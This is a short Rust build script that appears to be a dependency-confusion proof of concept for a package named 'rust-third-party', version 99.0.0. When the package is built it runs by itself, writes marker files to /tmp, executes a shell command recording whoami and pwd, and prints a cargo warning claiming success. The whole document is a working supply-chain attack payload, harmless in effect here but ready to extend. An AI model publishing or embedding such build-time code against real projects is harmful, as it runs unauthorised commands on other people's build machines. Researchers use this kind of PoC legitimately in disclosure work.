use std::fs::File;
use std::io::Write;
use std::process::Command;
fn main() {
let markers = [
"/tmp/dep_confusion_poc_1.txt",
"/tmp/dep_confusion_poc_2.txt",
"/tmp/dep_confusion_poc_3.txt"
];
for marker in markers.iter() {
let mut file = File::create(marker).unwrap();
writeln!(file, "DEPENDENCY CONFUSION POC EXECUTED").unwrap();
writeln!(file, "Package: rust-third-party").unwrap();
writeln!(file, "Version: 99.0.0").unwrap();
writeln!(file, "Time: {:?}", std::time::SystemTime::now()).unwrap();
}
let output = Command::new("sh")
.arg("-c")
.arg("whoami > /tmp/dep_confusion_whoami.txt && pwd > /tmp/dep_confusion_pwd.txt")
.output()
.unwrap();
println!("cargo:warning=[POC] Dependency confusion proven - check /tmp/dep_confusion_*.txt");
}